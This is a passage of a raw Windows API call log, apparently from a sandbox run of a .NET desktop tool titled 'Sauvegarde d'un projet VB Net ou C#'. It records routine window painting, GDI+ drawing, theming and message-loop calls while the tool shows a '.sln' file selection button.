type=0x2) returned 0x1900010 [0251.145] GetCurrentObject (hdc=0x3d0101a0, type=0x7) returned 0xa0506be [0251.145] GetCurrentObject (hdc=0x3d0101a0, type=0x6) returned 0x18a002e [0251.145] SaveDC (hdc=0x3d0101a0) returned 2 [0251.145] GetNearestColor (hdc=0x3d0101a0, color=0xf0f0f0) returned 0xf0f0f0 [0251.145] CreateSolidBrush (color=0xf0f0f0) returned 0x271006b3 [0251.145] FillRect (hDC=0x3d0101a0, lprc=0x52e314, hbr=0x271006b3) returned 1 [0251.145] DeleteObject (ho=0x271006b3) returned 1 [0251.145] RestoreDC (hdc=0x3d0101a0, nSavedDC=-1) returned 1 [0251.145] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0251.145] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0251.145] GetSystemMetrics (nIndex=42) returned 0 [0251.145] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0251.145] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0251.146] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e414 | out: lpRect=0x52e414) returned 1 [0251.146] GetCurrentObject (hdc=0x3d0101a0, type=0x1) returned 0x1b00017 [0251.146] GetCurrentObject (hdc=0x3d0101a0, type=0x2) returned 0x1900010 [0251.146] GetCurrentObject (hdc=0x3d0101a0, type=0x7) returned 0xa0506be [0251.146] GetCurrentObject (hdc=0x3d0101a0, type=0x6) returned 0x18a002e [0251.146] SaveDC (hdc=0x3d0101a0) returned 2 [0251.146] GetNearestColor (hdc=0x3d0101a0, color=0xf0f0f0) returned 0xf0f0f0 [0251.146] CreateSolidBrush (color=0xf0f0f0) returned 0x281006b3 [0251.146] FillRect (hDC=0x3d0101a0, lprc=0x52e2b4, hbr=0x281006b3) returned 1 [0251.146] DeleteObject (ho=0x281006b3) returned 1 [0251.146] RestoreDC (hdc=0x3d0101a0, nSavedDC=-1) returned 1 [0251.146] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0251.146] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0251.146] GetSystemMetrics (nIndex=42) returned 0 [0251.146] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0251.146] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0251.146] RestoreDC (hdc=0x3d0101a0, nSavedDC=-1) returned 1 [0251.146] GdipReleaseDC (graphics=0x4da5930, hdc=0x3d0101a0) returned 0x0 [0251.146] IsAppThemed () returned 0x1 [0251.146] GetThemeAppProperties () returned 0x3 [0251.146] GetThemeAppProperties () returned 0x3 [0251.146] IsAppThemed () returned 0x1 [0251.146] GetThemeAppProperties () returned 0x3 [0251.146] GetThemeAppProperties () returned 0x3 [0251.146] IsThemePartDefined () returned 0x1 [0251.146] GdipCreateRegion (region=0x52e7a8) returned 0x0 [0251.146] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0251.147] GdipCreateMatrix (matrix=0x52e7a8) returned 0x0 [0251.147] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0251.147] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52e7c0) returned 0x0 [0251.147] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0251.147] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0251.147] LocalFree (hMem=0x4fa4c70) returned 0x0 [0251.147] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0251.147] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0251.147] LocalFree (hMem=0x4fa4c70) returned 0x0 [0251.147] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0251.147] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7e8) returned 0x0 [0251.147] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d8) returned 0x0 [0251.147] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7d8) returned 0x0 [0251.147] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0251.147] GdipGetDC (graphics=0x4da5930, hdc=0x52e7f0) returned 0x0 [0251.147] GetCurrentObject (hdc=0x3d0101a0, type=0x1) returned 0x1b00017 [0251.147] GetCurrentObject (hdc=0x3d0101a0, type=0x2) returned 0x1900010 [0251.147] GetCurrentObject (hdc=0x3d0101a0, type=0x7) returned 0xa0506be [0251.147] GetCurrentObject (hdc=0x3d0101a0, type=0x6) returned 0x18a002e [0251.147] SaveDC (hdc=0x3d0101a0) returned 1 [0251.147] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x790401e4 [0251.147] GetClipRgn (hdc=0x3d0101a0, hrgn=0x790401e4) returned 0 [0251.147] SelectClipRgn (hdc=0x3d0101a0, hrgn=0xa0040221) returned 2 [0251.147] DeleteObject (ho=0x790401e4) returned 1 [0251.148] DeleteObject (ho=0xa0040221) returned 1 [0251.148] OffsetViewportOrgEx (in: hdc=0x3d0101a0, x=0, y=0, lppt=0x23023e8 | out: lppt=0x23023e8) returned 1 [0251.148] IsAppThemed () returned 0x1 [0251.148] GetThemeAppProperties () returned 0x3 [0251.148] GetThemeAppProperties () returned 0x3 [0251.148] DrawThemeBackground () returned 0x0 [0251.148] RestoreDC (hdc=0x3d0101a0, nSavedDC=-1) returned 1 [0251.148] GdipReleaseDC (graphics=0x4da5930, hdc=0x3d0101a0) returned 0x0 [0251.148] GdipCreateRegion (region=0x52e790) returned 0x0 [0251.148] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0251.148] GdipCreateMatrix (matrix=0x52e790) returned 0x0 [0251.148] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0251.148] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e7a8) returned 0x0 [0251.148] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0251.148] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0251.148] LocalFree (hMem=0x4fa4c70) returned 0x0 [0251.148] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0251.148] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0251.148] LocalFree (hMem=0x4fa4c70) returned 0x0 [0251.148] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0251.148] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d0) returned 0x0 [0251.148] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7c0) returned 0x0 [0251.148] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7c0) returned 0x0 [0251.148] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0251.148] GdipGetDC (graphics=0x4da5930, hdc=0x52e7d8) returned 0x0 [0251.148] GetCurrentObject (hdc=0x3d0101a0, type=0x1) returned 0x1b00017 [0251.148] GetCurrentObject (hdc=0x3d0101a0, type=0x2) returned 0x1900010 [0251.149] GetCurrentObject (hdc=0x3d0101a0, type=0x7) returned 0xa0506be [0251.149] GetCurrentObject (hdc=0x3d0101a0, type=0x6) returned 0x18a002e [0251.149] SaveDC (hdc=0x3d0101a0) returned 1 [0251.149] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xa1040221 [0251.149] GetClipRgn (hdc=0x3d0101a0, hrgn=0xa1040221) returned 0 [0251.149] SelectClipRgn (hdc=0x3d0101a0, hrgn=0x7a0401e4) returned 2 [0251.149] DeleteObject (ho=0xa1040221) returned 1 [0251.149] DeleteObject (ho=0x7a0401e4) returned 1 [0251.149] OffsetViewportOrgEx (in: hdc=0x3d0101a0, x=0, y=0, lppt=0x23026bc | out: lppt=0x23026bc) returned 1 [0251.149] IsAppThemed () returned 0x1 [0251.149] GetThemeAppProperties () returned 0x3 [0251.149] GetThemeAppProperties () returned 0x3 [0251.149] GetThemeBackgroundContentRect () returned 0x0 [0251.149] RestoreDC (hdc=0x3d0101a0, nSavedDC=-1) returned 1 [0251.149] GdipReleaseDC (graphics=0x4da5930, hdc=0x3d0101a0) returned 0x0 [0251.149] IsAppThemed () returned 0x1 [0251.149] GetThemeAppProperties () returned 0x3 [0251.149] GetThemeAppProperties () returned 0x3 [0251.149] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e908) returned 0x0 [0251.149] GdipGetDC (graphics=0x4da5930, hdc=0x52e8f4) returned 0x0 [0251.149] GetCurrentObject (hdc=0x3d0101a0, type=0x1) returned 0x1b00017 [0251.149] GetCurrentObject (hdc=0x3d0101a0, type=0x2) returned 0x1900010 [0251.149] GetCurrentObject (hdc=0x3d0101a0, type=0x7) returned 0xa0506be [0251.149] GetCurrentObject (hdc=0x3d0101a0, type=0x6) returned 0x18a002e [0251.149] SaveDC (hdc=0x3d0101a0) returned 1 [0251.149] GetTextAlign (hdc=0x3d0101a0) returned 0x0 [0251.149] GetTextColor (hdc=0x3d0101a0) returned 0x0 [0251.150] GetCurrentObject (hdc=0x3d0101a0, type=0x6) returned 0x18a002e [0251.150] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e5fc | out: pv=0x52e5fc) returned 92 [0251.150] SelectObject (hdc=0x3d0101a0, h=0xc0a01e7) returned 0x18a002e [0251.150] GetBkMode (hdc=0x3d0101a0) returned 2 [0251.150] SetBkMode (hdc=0x3d0101a0, mode=1) returned 2 [0251.150] DrawTextExW (in: hdc=0x3d0101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e6d0, format=0x2415, lpdtp=0x2302a50 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e6d0) returned 13 [0251.150] DrawTextExW (in: hdc=0x3d0101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e888, format=0x2015, lpdtp=0x2302a50 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e888) returned 13 [0251.150] RestoreDC (hdc=0x3d0101a0, nSavedDC=-1) returned 1 [0251.150] GdipReleaseDC (graphics=0x4da5930, hdc=0x3d0101a0) returned 0x0 [0251.150] GetFocus () returned 0x0 [0251.150] IsAppThemed () returned 0x1 [0251.150] GetThemeAppProperties () returned 0x3 [0251.150] GetThemeAppProperties () returned 0x3 [0251.150] GdipGetDC (graphics=0x4da5930, hdc=0x52ead4) returned 0x0 [0251.150] BitBlt (hdc=0x60106b7, x=0, y=0, cx=163, cy=29, hdcSrc=0x3d0101a0, x1=0, y1=0, rop=0xcc0020) returned 1 [0251.151] GdipReleaseDC (graphics=0x4da5930, hdc=0x3d0101a0) returned 0x0 [0251.151] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0251.151] SelectObject (hdc=0x3d0101a0, h=0x185000f) returned 0xa0506be [0251.151] DeleteDC (hdc=0x3d0101a0) returned 1 [0251.151] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0251.151] EndPaint (hWnd=0x10186, lpPaint=0x52ea78) returned 1 [0251.151] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0251.151] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0251.151] WaitMessage () returned 1 [0251.170] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0251.170] IsWindowUnicode (hWnd=0x101a4) returned 1 [0251.170] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0251.170] TranslateMessage (lpMsg=0x52ef98) returned 0 [0251.170] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0251.170] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0251.170] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0251.170] WaitMessage () returned 1 [0251.767] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0251.767] IsWindowUnicode (hWnd=0x101a6) returned 1 [0251.767] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0251.767] TranslateMessage (lpMsg=0x52ef98) returned 0 [0251.767] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0251.767] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0251.767] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0251.767] WaitMessage () returned 1 [0252.404] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0252.404] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0252.404] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0252.461] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ec30 | out: lpwndpl=0x52ec30) returned 1 [0252.461] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0252.461] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0252.461] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0252.462] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0252.462] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0xd, wParam=0x104, lParam=0x433edb8) returned 0x0 [0252.462] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1c, wParam=0x1, lParam=0x560) returned 0x0 [0252.462] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x1c, wParam=0x1, lParam=0x560) returned 0x0 [0252.462] NtdllDefWindowProc_W () returned 0x0 [0252.462] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0252.470] GetFocus () returned 0x0 [0252.470] SetFocus (hWnd=0x10186) returned 0x0 [0252.470] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0252.470] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0252.470] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0252.470] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0252.470] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0252.470] GetStockObject (i=5) returned 0x1900015 [0252.470] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0252.470] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0xd, wParam=0x1a, lParam=0x69a208) returned 0x19 [0252.470] GetDlgItem (hDlg=0x1016e, nIDDlgItem=65926) returned 0x10186 [0252.470] SendMessageW (hWnd=0x10186, Msg=0x202b, wParam=0x10186, lParam=0x52e678) returned 0x0 [0252.470] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x202b, wParam=0x10186, lParam=0x52e678) returned 0x0 [0252.470] InvalidateRect (hWnd=0x10186, lpRect=0x0, bErase=0) returned 1 [0252.471] IsWindowUnicode (hWnd=0x10186) returned 1 [0252.471] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0252.471] TranslateMessage (lpMsg=0x52ef98) returned 0 [0252.471] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0252.471] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0252.471] IsWindowUnicode (hWnd=0x10186) returned 1 [0252.471] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0252.471] GetKeyState (nVirtKey=16) returned 0 [0252.471] GetKeyState (nVirtKey=17) returned 0 [0252.471] GetKeyState (nVirtKey=18) returned -128 [0252.471] TranslateMessage (lpMsg=0x52ef98) returned 1 [0252.471] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0252.471] GetKeyState (nVirtKey=16) returned 0 [0252.471] GetKeyState (nVirtKey=17) returned 0 [0252.471] GetKeyState (nVirtKey=18) returned -128 [0252.471] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0252.471] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0252.471] IsWindowUnicode (hWnd=0x10186) returned 1 [0252.471] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0252.471] GetKeyState (nVirtKey=16) returned 0 [0252.471] GetKeyState (nVirtKey=17) returned 0 [0252.471] GetKeyState (nVirtKey=18) returned 0 [0252.471] TranslateMessage (lpMsg=0x52ef98) returned 1 [0252.471] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0252.471] GetKeyState (nVirtKey=16) returned 0 [0252.471] GetKeyState (nVirtKey=17) returned 0 [0252.471] GetKeyState (nVirtKey=18) returned 0 [0252.471] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0252.471] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0252.471] IsWindowUnicode (hWnd=0x10186) returned 1 [0252.471] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0252.471] TranslateMessage (lpMsg=0x52ef98) returned 0 [0252.471] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0252.472] BeginPaint (in: hWnd=0x10186, lpPaint=0x52ea7c | out: lpPaint=0x52ea7c) returned 0x100107ec [0252.472] SelectPalette (hdc=0x100107ec, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0252.472] CreateCompatibleDC (hdc=0x100107ec) returned 0x440101a0 [0252.472] SelectObject (hdc=0x440101a0, h=0xa0506be) returned 0x185000f [0252.472] GdipCreateFromHDC (hdc=0x440101a0, graphics=0x52ea94) returned 0x0 [0252.472] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0252.472] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0252.472] GdipCreateMatrix (matrix=0x52eadc) returned 0x0 [0252.472] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0252.472] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eaf4) returned 0x0 [0252.472] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0252.472] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0252.472] LocalFree (hMem=0x4fa4c70) returned 0x0 [0252.472] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0252.472] GdipCreateRegion (region=0x52eadc) returned 0x0 [0252.472] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0252.472] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eae8) returned 0x0 [0252.473] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb14) returned 0x0 [0252.473] GdipRestoreGraphics (graphics=0x4da5930, state=0xfd8b0dbd) returned 0x0 [0252.473] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0252.473] GdipGetDC (graphics=0x4da5930, hdc=0x52e900) returned 0x0 [0252.473] GetCurrentObject (hdc=0x440101a0, type=0x1) returned 0x1b00017 [0252.473] GetCurrentObject (hdc=0x440101a0, type=0x2) returned 0x1900010 [0252.473] GetCurrentObject (hdc=0x440101a0, type=0x7) returned 0xa0506be [0252.473] GetCurrentObject (hdc=0x440101a0, type=0x6) returned 0x18a002e [0252.473] SaveDC (hdc=0x440101a0) returned 1 [0252.473] GetNearestColor (hdc=0x440101a0, color=0xf0f0f0) returned 0xf0f0f0 [0252.473] GetNearestColor (hdc=0x440101a0, color=0xa0a0a0) returned 0xa0a0a0 [0252.473] GetNearestColor (hdc=0x440101a0, color=0x696969) returned 0x696969 [0252.473] GetNearestColor (hdc=0x440101a0, color=0xa0a0a0) returned 0xa0a0a0 [0252.473] GetNearestColor (hdc=0x440101a0, color=0x0) returned 0x0 [0252.473] GetNearestColor (hdc=0x440101a0, color=0xffffff) returned 0xffffff [0252.473] GetNearestColor (hdc=0x440101a0, color=0xe5e5e5) returned 0xe5e5e5 [0252.473] GetNearestColor (hdc=0x440101a0, color=0xd7d7d7) returned 0xd7d7d7 [0252.473] GetNearestColor (hdc=0x440101a0, color=0x0) returned 0x0 [0252.474] RestoreDC (hdc=0x440101a0, nSavedDC=-1) returned 1 [0252.474] GdipReleaseDC (graphics=0x4da5930, hdc=0x440101a0) returned 0x0 [0252.474] IsAppThemed () returned 0x1 [0252.474] GetThemeAppProperties () returned 0x3 [0252.474] GetThemeAppProperties () returned 0x3 [0252.474] IsAppThemed () returned 0x1 [0252.474] GetThemeAppProperties () returned 0x3 [0252.474] GetThemeAppProperties () returned 0x3 [0252.474] DrawTextExW (in: hdc=0x300101e8, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e7bc, format=0x2415, lpdtp=0x2312214 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e7bc) returned 13 [0252.474] IsAppThemed () returned 0x1 [0252.474] GetThemeAppProperties () returned 0x3 [0252.474] GetThemeAppProperties () returned 0x3 [0252.474] IsAppThemed () returned 0x1 [0252.474] GetThemeAppProperties () returned 0x3 [0252.474] GetThemeAppProperties () returned 0x3 [0252.474] GetFocus () returned 0x10186 [0252.474] IsAppThemed () returned 0x1 [0252.474] GetThemeAppProperties () returned 0x3 [0252.474] GetThemeAppProperties () returned 0x3 [0252.474] IsAppThemed () returned 0x1 [0252.474] GetThemeAppProperties () returned 0x3 [0252.474] GetThemeAppProperties () returned 0x3 [0252.474] IsThemePartDefined () returned 0x1 [0252.474] IsAppThemed () returned 0x1 [0252.474] GetThemeAppProperties () returned 0x3 [0252.474] GetThemeAppProperties () returned 0x3 [0252.474] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0252.474] IsAppThemed () returned 0x1 [0252.474] GetThemeAppProperties () returned 0x3 [0252.474] GetThemeAppProperties () returned 0x3 [0252.474] IsAppThemed () returned 0x1 [0252.474] GetThemeAppProperties () returned 0x3 [0252.474] GetThemeAppProperties () returned 0x3 [0252.474] IsThemePartDefined () returned 0x1 [0252.474] GdipCreateRegion (region=0x52e804) returned 0x0 [0252.475] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0252.475] GdipCreateMatrix (matrix=0x52e804) returned 0x0 [0252.475] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0252.475] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e81c) returned 0x0 [0252.475] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0252.475] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0252.475] LocalFree (hMem=0x4fa4c70) returned 0x0 [0252.475] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0252.475] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0252.475] LocalFree (hMem=0x4fa4c70) returned 0x0 [0252.475] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0252.475] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e844) returned 0x0 [0252.475] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e834) returned 0x0 [0252.475] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e834) returned 0x0 [0252.475] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0252.475] GdipGetDC (graphics=0x4da5930, hdc=0x52e84c) returned 0x0 [0252.475] GetCurrentObject (hdc=0x440101a0, type=0x1) returned 0x1b00017 [0252.475] GetCurrentObject (hdc=0x440101a0, type=0x2) returned 0x1900010 [0252.475] GetCurrentObject (hdc=0x440101a0, type=0x7) returned 0xa0506be [0252.475] GetCurrentObject (hdc=0x440101a0, type=0x6) returned 0x18a002e [0252.475] SaveDC (hdc=0x440101a0) returned 1 [0252.475] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x7b0401e4 [0252.475] GetClipRgn (hdc=0x440101a0, hrgn=0x7b0401e4) returned 0 [0252.475] SelectClipRgn (hdc=0x440101a0, hrgn=0xa8040221) returned 2 [0252.475] DeleteObject (ho=0x7b0401e4) returned 1 [0252.475] DeleteObject (ho=0xa8040221) returned 1 [0252.475] OffsetViewportOrgEx (in: hdc=0x440101a0, x=0, y=0, lppt=0x23128c4 | out: lppt=0x23128c4) returned 1 [0252.476] DrawThemeParentBackground () returned 0x0 [0252.476] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52e5c0 | out: lpwndpl=0x52e5c0) returned 1 [0252.476] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e56c | out: lpRect=0x52e56c) returned 1 [0252.476] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0252.476] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0252.476] GetSystemMetrics (nIndex=42) returned 0 [0252.476] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e3fc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0252.476] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e3fc) returned 0x23 [0252.476] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e474 | out: lpRect=0x52e474) returned 1 [0252.476] GetCurrentObject (hdc=0x440101a0, type=0x1) returned 0x1b00017 [0252.476] GetCurrentObject (hdc=0x440101a0, type=0x2) returned 0x1900010 [0252.476] 